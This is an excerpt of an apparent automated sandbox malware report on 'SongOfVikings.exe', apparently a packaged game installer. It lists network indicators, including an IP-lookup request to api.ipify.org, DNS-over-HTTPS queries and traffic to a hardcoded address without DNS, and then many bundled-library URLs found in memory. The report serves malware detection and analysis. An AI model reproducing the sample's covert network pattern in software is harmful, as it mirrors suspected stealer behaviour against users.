Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: global traffic HTTP traffic detected: GET /?format=json HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/1.6.8Accept-Encoding: gzip, compress, deflate, brHost: api.ipify.orgConnection: close
Source: unknown DNS traffic detected: queries for: api.ipify.org
Source: unknown HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1085
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1452
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1452expandIntegerPowExpressionsThe
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1512
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1637
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1936
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2046
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2152
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2152skipVSConstantRegisterZeroIn
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2162
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2273
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2517
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2894
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2970
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2978
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3027
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3045
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3078
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3205
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3206
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3246
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3246allowClearForRobustResourceInitSome
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3452
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3498
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3502
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3577
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3584
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3586
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3623
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3624
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3625
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3682
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3682allowES3OnFL100Allow
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3729
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3832
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3862
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3965
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3970
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3997
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4214
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4267
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4324
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4384
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4405
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4428
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4551
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4633
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4646
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4722
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/482
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4836
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4901
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4937
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5007
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5007disableDrawBuffersIndexedDisable
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5055
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5061
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5281
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5371
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5375
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5421
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5430
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5469
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5535
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5577
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5658
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5658forceGlErrorCheckingForce
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5750
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5750forceRobustResourceInitForce-enable
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5881
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5901
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5906
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6041
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6041forceInitShaderVariablesForce-enable
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6048
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6141
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6248
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6439
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6651
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6692
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6755
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6860
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6876
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6878
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6929
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6953
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7036
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7036dumpShaderSourceWrite
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7047
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7172
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7279
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7279cacheCompiledShaderEnable
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7370
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7406
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7488
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7527
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7553
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7556
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7724
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7724disableAnisotropicFilteringDisable
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7760
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7760enableShaderSubstitutionCheck
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7761
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7761Frontend
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://austingroupbugs.net/view.php?id=542
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://blog.izs.me)
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://blog.izs.me/)
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://certificates.godaddy.com/repository/gd_intermediate.crt0
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://certificates.godaddy.com/repository100.
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cgit.freedesktop.org/xorg/xserver/tree/COPYING
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cldr.unicode.org/index/downloads
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://code.google.com/p/smhasher/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://code.google.com/p/v8
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/1094869
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/110263
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/1144207
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/1165751
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/1165751disableProgramBinaryDisable
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/1171371
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/1181068
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/1181193
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/308366
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/403957
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/550292
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/565179
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/642227
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/642605
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/644669
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/650547
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/672380
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/709351
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/797243
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/809422
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/830046
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/849576
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/883276
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/927470
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/941620
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crbug.com/941620allowTranslateUniformBlockToStructuredBufferThere
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl.godaddy.com/gds1-20
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=16452
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://devel.freebsoft.org/speechd
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://developer.android.com/tools/extras/support-library.html
Source: SongOfVikings.exe, 00000000.00000003.1903858433.0000000006525000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ejemplo.com
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://encoding.spec.whatwg.org/#big5-encoder
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/commonnode-set..
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://fedorahosted.org/lohit>
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://feross.org
Source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://fossil-scm.org).
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://freedesktop.org
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=59788
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://git.linuxtv.org/v4l-utils.git
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://github.com/broofa
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://google.github.io/snappy/
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://icl.com/saxon
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://icl.com/saxonorg.apache.xalan.xslt.extensions.RedirectxsltDocumentElem:
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://icu-project.org/docs/papers/gb18030.html
Source: SongOfVikings.exe, 00000000.00000003.1907116496.0000000006529000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://int3.de/
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://issuetracker.google.com/200067929
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://istanbul-js.org/
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://juliangruber.com
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://labs.creativecommons.org/licenses/zero-waive/1.0/us/legalcode>
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://localhosthttp://127.0.0.1object-src
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://me.abelcheung.org/articles/research/what-is-cp951/
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://moztw.org/docs/big5/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://mxr.mozilla.org/comm-central/source/mozilla/netwerk/base/src/nsURLParsers.cpp
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://n8.io/)
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://narwhaljs.org)
Source: SongOfVikings.exe, 00000000.00000002.1958725334.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SongOfVikings.exe, 00000000.00000000.1709135822.000000000040A000.00000008.00000001.01000000.00000003.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.godaddy.com/0J
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://opensource.org/licenses/MIT
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://re-becca.org)
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://re-becca.org/)
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://s..
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://scripts.sil.org/OFL
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://source.android.com/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://source.android.com/compatibility)
